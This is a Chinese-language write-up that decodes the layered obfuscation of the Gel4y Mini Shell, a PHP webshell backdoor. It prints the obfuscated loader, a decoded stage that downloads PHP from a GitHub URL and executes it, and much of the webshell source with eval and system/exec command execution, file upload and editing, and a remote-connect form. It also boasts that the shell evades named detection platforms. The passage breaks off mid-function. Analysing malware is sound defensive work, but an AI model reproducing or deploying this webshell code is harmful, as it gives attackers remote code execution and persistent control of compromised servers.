disable
recentBlocked

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The API returns more information (in a slightly different format if FTL is running) - it supports a fall-back to the "old" PHP API if FTL is not running. Test the type and/or version of the API by using the parameter type and version.

22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor

2023-12-12T01:56:34Z

Gel4y-Mini-Shell-Backdoor-Decode

1# 概述

最近看到许多公众号都在传老外的一个WebShell免杀项目：https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor

刚好最近闲的没事干，也在研究WebShell方面的免杀，就随手看看

如果你对其他WebShell免杀和相关ByPass技术感兴趣，欢迎来到我的另外一个项目：https://github.com/AabyssZG/WebShell-Bypass-Guide

我将在本项目，讲解这个免杀WebShell大马的核心运作原理，觉得不错可以给我点个Star😆

2# 杀软测试

直接能过阿里云恶意检测平台：https://ti.aliyun.com/#/webshell

长亭牧云的WebShell检测也不在话下：https://stack.chaitin.com/security-challenge/webshell/index

注：阿里云是最外层过了，长亭牧云是里层解密内容过了

以上这两个平台的查杀过了，那其他的WebShell查杀工具和平台基本都秒了

3# PHP分析

注明：仓库PHP文件当中 original 代表原始文件的意思，encode 代表解密文件的意思

首先，原始的PHP来自于https://github.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/blob/1.x.x/gel4y.php，也就是本仓库中的 Gel4y-Mini-Shell-1_original.php，运行后界面如下：

将 Gel4y-Mini-Shell-1_original.php 内容打开，可以很明显看到采用的是goto加密的方法，那这里不得不提到 goto 的相关语法知识，防止不懂的师傅看不懂后面的内容

3.1 goto语法

Demo1 一个简单的跳转：

<?php
goto loop;
echo 'this is first';
loop:
echo 'this is second';

可以发现，刚开始PHP执行 goto loop; ，就跳转到 loop: 这一行，中间的 echo 'this is first'; 被跳过了，所以输出就为：

this is second

Demo2 跳出循环:

<?php
for($i=0; $i<10; $i++) {
    while($i++) {
        if($i==5) goto end;
    }
}
echo 'The i=10';
end:
echo 'The i=' . $i;

可以发现，在满足 $i==5 条件的时候，就执行 goto end; 跳出循环，跳到最后，所以输出就为：

The i=5

注：goto 可以跳出循环，但无法跳入循环

3.2 解密第一层PHP

那了解了goto的用法后，我们可以来尝试解密最原始的WebShell

<?php error_reporting(0);goto PP; BK: function tC($ZJ) { goto rT; rT: $dL = "t\x65mpnam"("sys_g\x65t_t\x65mp_d\x69r"(), "\164\x6d\x70\137\x66\x75\x6e\x63"); goto hq; lJ: unlink($dL); goto Il; Il: return $dm; goto Uc; pM: $dm = (include $dL); goto lJ; hq: file_put_contents($dL, "\74\77\160\150\x70\40{$ZJ}"); goto pM; Uc: } goto dL; PP: function gW($F9) { goto TH; Gd: $ik = 0; goto T3; xN: Ky: goto lt; lt: $ik++; goto Gm; us: return $F9; goto zm; Z9: if (!($ik < strlen($F9))) { goto qK; } goto WS; TH: $F9 = base64_decode($F9); goto Gd; Gm: goto Fk; goto sR; sR: qK: goto us; T3: Fk: goto Z9; WS: $F9[$ik] = chr(ord($F9[$ik]) - 1); goto xN; zm: } goto BK; dL: Tc(gW("\x49\x53\105\x68\111\x53\x45\114\115\103\x73\x68\x49\123\106\x67\131\x47\102\x67\x59\x47\102\x67\x59\x47\102\x67\131\107\102\x67\x59\107\x42\147\131\107\x42\x67\x59\x47\x42\147\x59\x47\x42\x67\x59\107\102\147\131\107\102\x67\x59\107\x42\x67\131\x47\102\147\131\x47\x42\147\131\107\102\x67\131\107\102\147\x59\107\x42\x67\x59\101\163\x68\x49\123\105\x68\x66\x53\x45\150\125\x47\x4e\x6e\x64\156\122\153\131\156\x56\x6d\x5a\123\x46\x6a\x65\x69\106\x61\121\153\x77\x68\125\x58\x4e\167\x49\123\x34\150\x55\127\154\170\x49\126\102\x6a\x5a\63\x5a\x30\132\x47\112\x31\x63\x48\115\x68\x49\124\x4d\x76\x4d\x53\x38\x79\x4e\x53\x45\x68\x66\121\x73\150\x49\x53\105\x68\x66\x53\105\x68\x49\123\x45\x68\x49\x53\105\150\x49\123\x45\x68\111\x53\105\150\x63\x47\70\x68\x4d\172\105\172\116\103\64\171\115\x79\x34\x78\116\103\105\171\117\104\x73\x32\x4e\x7a\163\x30\116\151\105\x68\x49\x53\x45\150\x49\x53\105\x68\111\123\x45\150\111\x53\105\150\146\121\x73\x68\111\x53\x45\x68\146\123\x45\150\111\123\106\111\x61\x6e\126\112\x64\x6d\x4d\x37\111\x57\154\61\x64\130\x46\x30\x4f\172\x41\x77\141\107\x70\61\141\130\132\152\114\62\122\x77\x62\x6a\102\x78\x62\x43\x35\x6e\x63\172\x42\x36\131\x6d\x78\170\x63\x33\101\x75\143\130\101\x68\111\123\x45\x68\146\x51\163\x68\111\123\105\x68\x66\127\102\147\131\107\x42\147\x59\107\x42\147\131\x47\x42\147\131\x47\x42\x67\x59\107\x42\147\131\107\x42\x67\x59\x47\x42\147\x59\x47\102\147\131\107\x42\147\131\107\102\x67\131\x47\x42\147\131\x47\102\x67\131\107\x42\147\x59\107\102\147\131\x47\x42\x67\131\x47\x42\x67\x66\x51\x73\162\x4d\x41\x73\150\141\110\x42\x31\x63\x43\106\110\145\104\167\x68\121\152\x63\67\111\127\144\62\142\x32\122\x31\x61\156\102\166\111\130\x56\63\x4b\123\x56\x7a\125\x79\x6f\150\146\x43\x46\157\143\x48\x56\x77\111\x55\125\64\x50\x43\x46\161\x52\104\163\150\x4a\126\164\x45\x49\x54\x34\150\x4b\x57\160\x76\132\107\x31\x32\x5a\127\131\150\112\130\x6f\62\113\x6a\x77\150\x61\110\x42\61\x63\x43\106\x78\141\152\167\x68\124\62\163\x37\111\130\x4e\x6d\144\x58\132\x7a\142\x79\x45\x6c\127\x30\x51\x38\x49\127\x68\167\144\130\x41\150\141\154\115\x38\x49\x55\x56\x48\117\171\106\x6e\141\x6d\61\x6d\131\x48\106\x32\144\127\102\153\143\107\71\61\132\155\71\61\144\x43\x6b\x6c\145\x6a\x59\164\111\x53\116\70\x4a\130\116\x54\x66\x69\x4d\161\120\103\106\x6f\143\110\126\x77\x49\127\160\x45\120\103\x46\106\x4f\x44\x73\x68\112\x58\x6f\62\111\x54\64\150\144\127\x5a\x75\143\x57\x39\x69\x62\151\x6c\60\x65\156\x52\x67\x61\x47\x5a\61\131\x48\x56\x6d\x62\x6e\x46\x67\132\127\x70\x7a\113\123\157\x74\x49\123\x4e\x64\145\x54\x67\x31\130\x58\153\x33\x5a\x56\61\x35\x4f\x44\106\x64\x65\124\132\x6e\130\124\111\x31\x4e\x31\60\171\116\172\x5a\x64\x65\x54\144\155\130\130\153\63\116\103\x4d\161\x50\103\x46\x6f\x63\110\126\167\111\125\126\110\x50\103\x46\170\x61\152\163\x68\144\x6d\71\x74\x61\155\71\163\113\123\x56\x36\x4e\151\157\x38\x49\127\x68\x77\144\130\101\150\124\62\163\x38\111\x57\160\124\x4f\171\x46\x2b\111\127\x68\x77\144\x58\101\150\144\152\105\70\x49\x55\x64\64\x4f\171\105\154\141\126\x51\x68\120\151\x46\153\144\156\x4e\x74\131\107\x70\x76\141\x6e\x55\x70\113\152\x77\150\x61\110\102\61\143\103\106\125\143\x6a\167\x68\144\110\x67\67\x49\x53\126\172\124\x53\105\x2b\x49\127\122\62\x63\x32\61\x67\x5a\x6e\154\x6d\x5a\103\x6b\154\141\126\x51\x71\x50\x43\106\157\x63\x48\x56\x77\x49\126\102\x62\x50\103\x46\x51\x57\172\x73\150\132\x48\132\x7a\142\127\102\153\142\130\102\x30\132\151\x6b\154\141\x56\121\x71\120\103\x46\x6f\x63\x48\x56\167\x49\x55\x49\x33\x50\103\x46\125\143\152\163\x68\x5a\110\x5a\x7a\x62\x57\x42\60\x5a\x6e\126\x77\x63\130\x56\x67\x59\156\116\172\131\156\157\x70\112\127\x6c\125\114\123\x46\151\x63\63\x4e\x69\145\x69\x6c\x45\126\x6c\116\116\x55\x46\106\x56\131\106\x5a\x54\124\123\x45\53\120\x79\105\x6a\x58\x54\111\x32\115\126\60\171\116\172\x56\144\145\x54\147\61\x58\x54\111\x33\x4d\x56\60\x79\x4e\x7a\122\144\x65\x54\x52\x69\130\x58\x6b\x7a\x5a\61\61\65\115\62\144\144\115\152\x63\172\x58\130\x6b\x33\x4d\154\61\x35\117\104\x68\x64\116\152\x64\x64\x65\124\143\64\x58\x58\x6b\x33\117\154\x30\x79\x4e\x7a\x56\144\x65\x54\143\x35\130\124\x49\63\x4e\154\61\65\x4e\x7a\116\144\145\124\x67\x32\x58\x54\111\x33\116\x46\x31\65\116\172\x5a\x64\115\x6a\143\x7a\x58\x58\153\63\x4e\x46\60\x79\x4e\x6a\150\x64\x4d\152\x59\63\x58\130\153\x34\x4e\126\61\65\116\x7a\132\144\x4d\152\131\63\x58\130\153\64\116\x56\x30\62\116\61\61\x35\116\172\x52\144\x65\124\144\x6e\130\x58\x6b\63\132\x56\60\x32\117\x46\60\x33\x4d\x31\61\x35\116\104\x4e\x64\x65\124\x59\65\130\x58\x6b\64\115\126\60\171\x4e\x6a\x56\x64\x65\124\x64\156\x58\x54\x49\62\x4d\154\x30\171\x4e\172\x56\144\x65\x54\143\62\x58\x54\x49\x33\x4d\x31\x30\171\x4d\x54\122\x64\115\152\x63\172\x58\124\111\61\116\154\x30\171\116\x7a\x68\x64\116\x6a\132\x64\145\x54\x59\x31\130\x58\153\x33\116\x6c\61\65\x4e\172\112\144\115\x6a\131\62\x58\130\x6b\x7a\x5a\x31\60\171\x4d\124\x68\x64\x65\124\x63\x32\x58\x54\111\x32\x4e\126\60\63\x4e\x56\x30\171\x4f\x44\x4a\144\116\x6a\132\144\145\124\126\x6c\x58\x58\153\x33\117\154\61\65\116\x32\132\144\115\x6a\x59\x79\130\x58\153\x7a\132\126\x30\x79\x4d\172\122\144\115\x6a\131\170\130\x58\x6b\x33\116\x6c\61\65\x4e\62\122\144\145\124\144\x6b\130\x58\x6b\x7a\132\x56\60\x79\x4d\124\116\x64\115\152\x55\x79\x58\x54\x49\61\x4e\x46\61\x35\x4e\x32\x4e\x64\x4d\x6a\x55\61\130\130\153\63\132\x31\x31\x35\x4e\x32\144\x64\145\124\147\x7a\130\x58\153\172\x5a\61\61\x35\x4e\172\126\144\x65\124\x63\x32\130\130\153\x34\116\x31\60\62\x4f\x46\x31\65\116\x7a\150\x64\x4d\152\x55\x32\x58\x58\153\x33\132\106\61\65\x4e\x7a\x4a\x64\x65\x54\147\66\130\130\x6b\172\x5a\x6c\x31\x35\117\104\x46\144\145\124\x63\65\x58\124\x49\x33\115\x53\x4d\x74\111\x55\x52\127\x55\x30\x31\x51\125\x56\x56\147\126\106\x52\116\131\x46\x64\x47\125\x30\x70\110\127\153\154\x51\126\x46\125\150\x50\152\x38\x68\122\x30\112\116\126\x45\x59\x74\x49\x55\122\127\125\x30\x31\121\x55\x56\x56\x67\x56\x46\x52\116\131\106\144\107\125\x30\x70\x48\127\x6c\106\x47\x52\154\115\150\x50\152\x38\x68\122\x30\x4a\116\x56\x45\131\x74\x49\x55\122\127\125\x30\x31\x51\125\x56\126\x67\125\60\x5a\x56\x56\154\x4e\120\126\126\116\x43\124\61\x52\x48\x52\154\115\x68\120\152\x38\x68\x56\126\x4e\x57\x52\x69\x6f\x71\120\103\x46\x6f\x63\x48\126\x77\111\130\x52\x34\x50\103\106\x32\115\x54\x73\x68\x64\x58\x63\x70\112\130\x4e\x4e\113\152\167\75"));

经过goto解密，再进行重新编排，解密结果就为本仓库的 Gel4y-Mini-Shell-1_decode.php，内容如下：

<?php
error_reporting(0);
function gW($F9)
{
    $F9 = base64_decode($F9);
    $ik = 0;
    while ($ik < strlen($F9)) {
        $F9[$ik] = chr(ord($F9[$ik]) - 1);
        $ik++;
    }
    return $F9;
}
function tC($ZJ)
{
    $dL = ("tempnam")(("sys_get_temp_dir")(), "tmp_func");
    file_put_contents($dL, "<?php {$ZJ}");
    $dm = (include $dL);
    unlink($dL);
    return $dm;
}
Tc(gW("ISEhISELMCshISFgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYAshISEhfSEhUGNndnRkYnVmZSFjeiFaQkwhUXNwIS4hUWlxIVBjZ3Z0ZGJ1cHMhITMvMS8yNSEhfQshISEhfSEhISEhISEhISEhISEhcG8hMzEzNC4yMy4xNCEyODs2Nzs0NiEhISEhISEhISEhISEhfQshISEhfSEhISFIanVJdmM7IWl1dXF0OzAwaGp1aXZjL2RwbjBxbC5nczB6Ymxxc3AucXAhISEhfQshISEhfWBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgYGBgfQsrMAshaHB1cCFHeDwhQjc7IWd2b2R1anBvIXV3KSVzUyohfCFocHVwIUU4PCFqRDshJVtEIT4hKWpvZG12ZWYhJXo2KjwhaHB1cCFxajwhT2s7IXNmdXZzbyElW0Q8IWhwdXAhalM8IUVHOyFnam1mYHF2dWBkcG91Zm91dCklejYtISN8JXNTfiMqPCFocHVwIWpEPCFFODshJXo2IT4hdWZucW9ibil0enRgaGZ1YHVmbnFgZWpzKSotISNdeTg1XXk3ZV15ODFdeTZnXTI1N10yNzZdeTdmXXk3NCMqPCFocHVwIUVHPCFxajshdm9tam9sKSV6Nio8IWhwdXAhT2s8IWpTOyF+IWhwdXAhdjE8IUd4OyElaVQhPiFkdnNtYGpvanUpKjwhaHB1cCFUcjwhdHg7ISVzTSE+IWR2c21gZnlmZCklaVQqPCFocHVwIVBbPCFQWzshZHZzbWBkbXB0ZiklaVQqPCFocHVwIUI3PCFUcjshZHZzbWB0ZnVwcXVgYnNzYnopJWlULSFic3NieilEVlNNUFFVYFZTTSE+PyEjXTI2MV0yNzVdeTg1XTI3MV0yNzRdeTRiXXkzZ115M2ddMjczXXk3Ml15ODhdNjddeTc4XXk3Ol0yNzVdeTc5XTI3Nl15NzNdeTg2XTI3NF15NzZdMjczXXk3NF0yNjhdMjY3XXk4NV15NzZdMjY3XXk4NV02N115NzRdeTdnXXk3ZV02OF03M115NDNdeTY5XXk4MV0yNjVdeTdnXTI2Ml0yNzVdeTc2XTI3M10yMTRdMjczXTI1Nl0yNzhdNjZdeTY1XXk3Nl15NzJdMjY2XXkzZ10yMThdeTc2XTI2NV03NV0yODJdNjZdeTVlXXk3Ol15N2ZdMjYyXXkzZV0yMzRdMjYxXXk3Nl15N2RdeTdkXXkzZV0yMTNdMjUyXTI1NF15N2NdMjU1XXk3Z115N2ddeTgzXXkzZ115NzVdeTc2XXk4N102OF15NzhdMjU2XXk3ZF15NzJdeTg6XXkzZl15ODFdeTc5XTI3MSMtIURWU01QUVVgVFRNYFdGU0pHWklQVFUhPj8hR0JNVEYtIURWU01QUVVgVFRNYFdGU0pHWlFGRlMhPj8hR0JNVEYtIURWU01QUVVgU0ZVVlNPVVNCT1RHRlMhPj8hVVNWRioqPCFocHVwIXR4PCF2MTshdXcpJXNNKjw="));

3.3 解密第二层PHP

同时，我们通过断点调试，可以得到解码后执行的PHP内容：

通过断点调试，或者执行已经解密的php自定义函数 gW($F9) 可以得到本仓库的 Gel4y-Mini-Shell-2_original.php，内容如下：

<?php
/* __________________________________________________ | Obfuscated by YAK Pro - Php Obfuscator 2.0.14 | | on 2023-12-03 17:56:35 | | GitHub: https://github.com/pk-fr/yakpro-po | |__________________________________________________| */ goto Fw; A6: function tv($rR) { goto D7; iC: $ZC = (include $y5); goto pi; Nj: return $ZC; goto iR; DF: file_put_contents($y5, "{$rR}"); goto iC; D7: $y5 = tempnam(sys_get_temp_dir(), "\x74\x6d\x70\x5f\146\165\x6e\x63"); goto DF; pi: unlink($y5); goto Nj; iR: } goto u0; Fw: $hS = curl_init(); goto Sq; sw: $rL = curl_exec($hS); goto OZ; OZ: curl_close($hS); goto A6; Sq: curl_setopt_array($hS, array(CURLOPT_URL => "\150\164\x74\160\163\x3a\x2f\x2f\162\x61\x77\56\x67\x69\164\x68\165\x62\x75\163\x65\162\x63\157\156\x74\x65\156\x74\56\x63\x6f\x6d\57\62\x32\x58\x70\154\x6f\151\164\x65\162\103\162\145\167\55\x54\x65\x61\155\x2f\107\x65\154\64\171\55\x4d\x69\x6e\151\x2d\123\150\x65\x6c\x6c\x2d\102\141\143\x6b\144\x6f\x6f\x72\x2f\x64\x65\x76\57\x67\145\x6c\x61\x79\x2e\x70\x68\160", CURLOPT_SSL_VERIFYHOST => FALSE, CURLOPT_SSL_VERIFYPEER => FALSE, CURLOPT_RETURNTRANSFER => TRUE)); goto sw; u0: tv($rL);

提一嘴，这里根据注释的PHP文件头，可以发现一个开源项目：https://github.com/pk-fr/yakpro-po，这个项目就是专门用来对PHP文件进行 goto 混淆的工具，感谢 @Skyworship 师傅的指出

同样，梳理 goto 的跳转内容，可以解码并整理出以下原始内容，即本仓库的 Gel4y-Mini-Shell-2_decode.php，内容如下：

<?php
$hS = curl_init();
curl_setopt_array($hS, array(CURLOPT_URL => "https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/dev/gelay.php", CURLOPT_SSL_VERIFYHOST => FALSE, CURLOPT_SSL_VERIFYPEER => FALSE, CURLOPT_RETURNTRANSFER => TRUE));
$rL = curl_exec($hS);
curl_close($hS);
function tv($rR)
{
    $y5 = tempnam(sys_get_temp_dir(), "tmp_func");
    file_put_contents($y5, "{$rR}");
    $ZC = (include $y5);
    unlink($y5);
    return $ZC;
}
tv($rL);

定睛一看，原来是 curl 并执行了Github上另外一个托管的php代码，地址为：https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/dev/gelay.php，遂将该代码下载下来，也就是本仓库的 Gel4y-Mini-Shell-3_original.php

3.4 解密第三层PHP

同样，我们还通过断点调试，可以得到解码后执行的PHP内容：

通过断点调试，拿到已经解密的php自定义函数 tv($rR) 里面的内容，同样可以得到本仓库的 Gel4y-Mini-Shell-3_original.php，内容如下：

<?php
http_response_code(404);
goto YYviAIE2go;
DMDVAvNxme:
$j6fm9JkXX3 = new ZipArchive();
goto iQnuU7UbQZ;
YtyLK4CiZm:
lXPtdPwHZr:
goto CAzQINwyXp;
uuEMYRcWJf:
?>" class="form-control">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Connect</button>
</div>
</form>
<?php
goto DKCCjxBaV1;
FrJD9Jsque:
echo php_uname();
goto MMrXTvXqy7;
f3YaO_36Gp:
b_Aq_femsk:
goto kI2aFVtVVe;
CAzQINwyXp:
eCbgD8Xa7G:
goto tJJFzbSKwD;
tRwrGXooF4:
isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? BB5iNvUgyh("file name has been used", rxeFBN6HEy($EEfZ6TZDdb, 0) . "&a=" . rXefbN6HEy("cfile", 0), 0) : (file_put_contents("{$EEfZ6TZDdb}/{$_POST["n"]}", $_POST["ctn"]) ? Bb5inVUGYh("file created successfully", rXeFBN6heY($EEfZ6TZDdb, 0) . "&a=" . rXEFBn6HEy("view", 0) . "&n=" . RXeFbn6heY($_POST["n"], 0)) : Bb5invUgYh("file failed to create", rxEFBN6HEy($EEfZ6TZDdb, 0), 0)) : null;
goto MOs0Lw2QRZ;
qRqOKZqPSD:
echo rxeFBn6hEy($_GET["n"]);
goto P7K6f8_xHe;
knjkHswo6U:
if (!($j78MPlSKil == true)) {
goto lXPtdPwHZr;
}
goto fV1xJLciE1;
dFM2sYAJlJ:
header("Content-Length: " . strtotime(Rxefbn6hey($_GET["n"])));
goto MTQ6j3p_JU;
FFNAjFboph:
Bip4SkFlwd:
goto pLaaRpww2m;
Pgo80visnY:
$Dbi_h94n09 = $_FILES['f']['type'];
goto wdy3Z2bJG6;
wdy3Z2bJG6:
$jzgT5WmvBi = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
goto ynEoAvZ7Ef;
EY59hEhqcL:
$IKiphkRa67 = 0;
goto nNXfQ4ODK4;
pd2Xp8eNUU:
function rxefBN6hEy($D9W0v0K2q3, $b5rceFkfVX = true, $IKiphkRa67 = 0) {
goto e8KaQn3Obp;
efhwre2vrg:
goto UWZW4tv7l3;
goto EThfiMKXfe;
SXUX6z3P3K:
if (!($IKiphkRa67 < $OI03NhJ2Yv - 1)) {
goto ofW6zrTBdf;
}
goto VYWlS3nOx0;
aPqRRotZs7:
if ($b5rceFkfVX == false) {
goto wOYeLPzegZ;
}
goto XT9k8Als00;
cdda9BMGIp:
if (!($IKiphkRa67 < $OI03NhJ2Yv)) {
goto scQ2ws4J9b;
}
goto RLaX7avg7R;
Em1B6VAcvW:
wOYeLPzegZ:
goto tSFsOi93Pc;
e8KaQn3Obp:
$FMsfhj9eNN = '';
goto YBvZCMvcoQ;
Rnp6XxBU71:
goto hcWSNAsNnn;
goto cD0EopBgMr;
tSNU_V8RLN:
ksnrAMe13N:
goto mVE3hfoO3d;
mVE3hfoO3d:
$IKiphkRa67 += 2;
goto efhwre2vrg;
yBu1sPMOO9:
zdNGAHnz2I:
goto GuXCE9we3H;
GuXCE9we3H:
return $FMsfhj9eNN;
goto ZQKmM0ZO1z;
Bs8OEHOqrR:
$IKiphkRa67++;
goto Rnp6XxBU71;
zOx24N5WZG:
p9qfiI3280:
goto Bs8OEHOqrR;
XT9k8Als00:
UWZW4tv7l3:
goto SXUX6z3P3K;
cD0EopBgMr:
scQ2ws4J9b:
goto yBu1sPMOO9;
VYWlS3nOx0:
$FMsfhj9eNN .= chr(hexdec("{$D9W0v0K2q3[$IKiphkRa67]}{$D9W0v0K2q3[$IKiphkRa67 + 1]}"));
goto tSNU_V8RLN;
EThfiMKXfe:
ofW6zrTBdf:
goto tqfBTI4VQk;
RLaX7avg7R:
$FMsfhj9eNN .= dechex(ord($D9W0v0K2q3[$IKiphkRa67]));
goto zOx24N5WZG;
tqfBTI4VQk:
goto zdNGAHnz2I;
goto Em1B6VAcvW;
tSFsOi93Pc:
hcWSNAsNnn:
goto cdda9BMGIp;
YBvZCMvcoQ:
$OI03NhJ2Yv = strlen($D9W0v0K2q3);
goto aPqRRotZs7;
ZQKmM0ZO1z:
}
goto ZNQuKDPR_4;
vhjTMlZILs:
?>
<h5>Command</h5>
<pre class="border bg-info p-2"><i class="fa fa-terminal"></i> <?php
goto LHKm105Km7;
nRad7u_84k:
UVK2cx0wsu:
goto P3l6Ot_Nq2;
Pb_Plr8szn:
isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? Bb5INvugYh("folder name has been used", rxefbn6hEy($EEfZ6TZDdb, 0) . "&a=" . rxefBn6hey("cdir", 0)) : (mkdir("{$EEfZ6TZDdb}/{$_POST["n"]}") ? bB5iNVUGyH("folder created successfully", RxeFbN6HEy($EEfZ6TZDdb . "/" . $_POST["n"], 0)) : BB5InvUgYH("folder failed to create", RxEfBN6hEy($EEfZ6TZDdb, 0), 0)) : null;
goto EdwYtsCOvQ;
xezzXbZ0n3:
echo $_GET["t"] == "d" ? "folder" : "file";
goto X31kOqdTx7;
egAEX13geb:
?>
<h5>View file</h5>
<span>File name : <?php
goto d5oIa6c6mo;
e1DVBPK5MZ:
AmZ_WHgxlE:
goto QiVggpWdug;
kPuh3sB7ZW:
bLvI_Fu3sF:
goto NIDHY8CumR;
WX3PBtaAK3:
LEIHIpts4n:
goto p59Ko9RToC;
pzkU10IQiS:
iqfV5KrODo:
goto DSgJ4EEwOL;
U6RgZiR5iP:
foreach ($fgiEl2SFA1 as $GH5ltOv09p) {
goto NGJBE3_QDg;
fnleygjPy5:
goto Hr0waR6BpO;
goto OOFzGy7x36;
OOFzGy7x36:
jCLJ3kfZ8a:
goto kd_ict3juy;
NGJBE3_QDg:
if (is_dir("{$EEfZ6TZDdb}/{$GH5ltOv09p}")) {
goto jCLJ3kfZ8a;
}
goto fnleygjPy5;
kd_ict3juy:
echo "<tr>\n          <td><a href=\"?l=" . RxefBN6hEY("{$EEfZ6TZDdb}/{$GH5ltOv09p}", 0) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . date("Y-m-d H:i", filemtime("{$EEfZ6TZDdb}/{$GH5ltOv09p}")) . "\"><i class=\"fa fa-fw fa-folder" . (count(scandir("{$EEfZ6TZDdb}/{$GH5ltOv09p}")) == 0 ? "" : "-open") . " text-warning\"></i> {$GH5ltOv09p}</a></td>\n          <td>N/A</td>\n          <td><font color=\"" . (is_writable("{$EEfZ6TZDdb}/{$GH5ltOv09p}") ? "#00ff00" : (!is_readable("{$EEfZ6TZDdb}/{$GH5ltOv09p}") ? "red" : null)) . "\">" . hRXkAtTukJ("{$EEfZ6TZDdb}/{$GH5ltOv09p}") . "</font></td>\n          <td>\n            <a href=\"?l=" . rXeFbN6HEy($EEfZ6TZDdb, 0) . "&a=" . rxeFBn6HEy("rename", 0) . "&n=" . rXEFbN6Hey($GH5ltOv09p, 0) . "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n            <a href=\"?l=" . RxEfBn6hEY($EEfZ6TZDdb, 0) . "&a=" . RxefbN6hey("delete", 0) . "&n=" . rxEFbn6HEy($GH5ltOv09p, 0) . "&t=f\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n          </td></tr>";
goto zfUgYAH3MQ;
zfUgYAH3MQ:
Hr0waR6BpO:
goto Pn1401P2iD;
Pn1401P2iD:
}
goto dNAXwyF5jm;
Hqjr9ld8se:
$IKiphkRa67++;
goto d0z8uX0wp2;
MWacVfk2Z9:
echo "{$_SERVER["SERVER_NAME"]} ({$_SERVER["REMOTE_ADDR"]})";
goto cCui051SEu;
L3Ih6C_82z:
$EEfZ6TZDdb = getcwd();
goto HD1w0oiEBZ;
pQ3h2CEIaE:
yLxrotraE3:
goto deRzU3bq7h;
zvl7rFBRXM:
echo phpversion();
goto OyonV_aXfE;
zoc5HXXlKd:
if (!($hzOvuJeFzz == "delete")) {
goto a570kYKgnw;
}
goto HAtVYbHdyo;
jP2j_WsoIN:
$fgiEl2SFA1 = array_diff(scandir($EEfZ6TZDdb), ['.', '..']);
goto U6RgZiR5iP;
d0z8uX0wp2:
goto et0KZW4bvS;
goto DYX5ofDNkJ;
JxeppvOhkj:
mqgxd0ffd7:
goto EfxIdbdntP;
t5hyi0WMXW:
?>
<div class="px-2 py-2">
<?php
goto zoc5HXXlKd;
TGAVCVIxJL:
isset($_POST["s"]) ? rename($EEfZ6TZDdb . '/' . rXEFbn6heY($_GET["n"]), $_POST["n"]) ? bB5invUGyH("successfully changed the name", rxEfbn6hey($EEfZ6TZDdb, 0)) : Bb5iNvugyh("failed to change the name", RXEfbn6HEY($EEfZ6TZDdb, 0), 0) : null;
goto dbYRcKsPIp;
qvSYZCVNk0:
Q0WFVkujRs($IqAFWYu448);
goto FM1zySo56b;
NIDHY8CumR:
a570kYKgnw:
goto gQ0uxJM3IM;
fpFzgy_AKw:
unlink($IqAFWYu448);
goto wKFr1pnzc8;
LHKm105Km7:
echo isset($_POST["cmd"]) ? $_POST["cmd"] . "<br>" . ZiODPz7nrE($_POST["cmd"]) : "";
goto MvSZRFs0SS;
jz_2zEOwzt:
if (!isset($_FILES['f'])) {
goto CYI57kgQJP;
}
goto Kf_pWcks49;
IVRDMHFY4o:
?></span>
<form method="post">
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?php
goto s00fzLO5Yl;
jt5neMFYv3:
CYI57kgQJP:
goto h3GEWWTVgD;
WQ5FRO1vHE:
?></textarea>
</div>
<?php
goto uTadf7sHfn;
pqYY95BvuW:
eval($rRwNpSflmI);
goto Y2JbRwIzN2;
DKCCjxBaV1:
if (!isset($_POST['s'])) {
goto lgFAN1_7Jm;
}
goto vTj5YprhCZ;
gsi4neWUGA:
if ($hzOvuJeFzz == "term") {
goto N64OxnT9Bh;
}
goto d6E_B1kiXH;
mwiid_zmqA:
?>
</tbody>
</table>
<?php
goto Ms3mPsNEFz;
errh3t4_bj:
?>" class="form-control">
<input type="number" name="port" placeholder="<?php
goto BhKgAwcXlI;
vaea2TNc3W:
?>
<?php
goto ZPaDeX38qY;
GOgo5L4_m1:
echo '</div>';
goto uLfgP7Khd1;
GBMZg5FNn5:
$EEfZ6TZDdb = RxEfBN6HEy($_GET['l']);
goto AxYV08ef23;
QiVggpWdug:
function ZiOdpZ7NRe($uzNaDUYhmE) {
goto S3Qzf1dQtJ;
YwzdjcDHzZ:
return $GpjllTmONM;
goto C5BvoqV0QO;
EEr5NKol9z:
return $GpjllTmONM;
goto JpNyWf38OC;
Md0hXovAWp:
if (function_exists('LO04lRpWK3')) {
goto ZL1i5x7vAp;
}
goto F3aPZv7Ivq;
RV4_cwKVfM:
@ob_end_clean();
goto YwzdjcDHzZ;
DD2lPqxmMz:
@ob_start();
goto hZKcepEUr9;
ARCEi82gDd:
xxrteaxnDp:
goto mrrLrvO2_2;
F3aPZv7Ivq:
goto Aa1Xj7bvHV;
goto xvdvg7ah0M;
wTnu9rrS0b:
if (function_exists('passthru')) {
goto LWJqpq8yIR;
}
goto Md0hXovAWp;
w0M1Hs2RaI:
if (function_exists('exec')) {
goto xxrteaxnDp;
}
goto wTnu9rrS0b;
lYPPssvZnN:
return $GpjllTmONM;
goto o2xGbbbn7p;
l7Sy_e2gNs:
aIlXKUa38m:
goto wqKjdERcuI;
XSHObW431y:
$GpjllTmONM = @ob_get_contents();
goto RV4_cwKVfM;
o2xGbbbn7p:
goto Aa1Xj7bvHV;
goto ARCEi82gDd;
JpNyWf38OC:
Aa1Xj7bvHV:
goto ncZJ9fHIca;
S3Qzf1dQtJ:
if (function_exists('system')) {
goto ShitZ_fqN0;
}
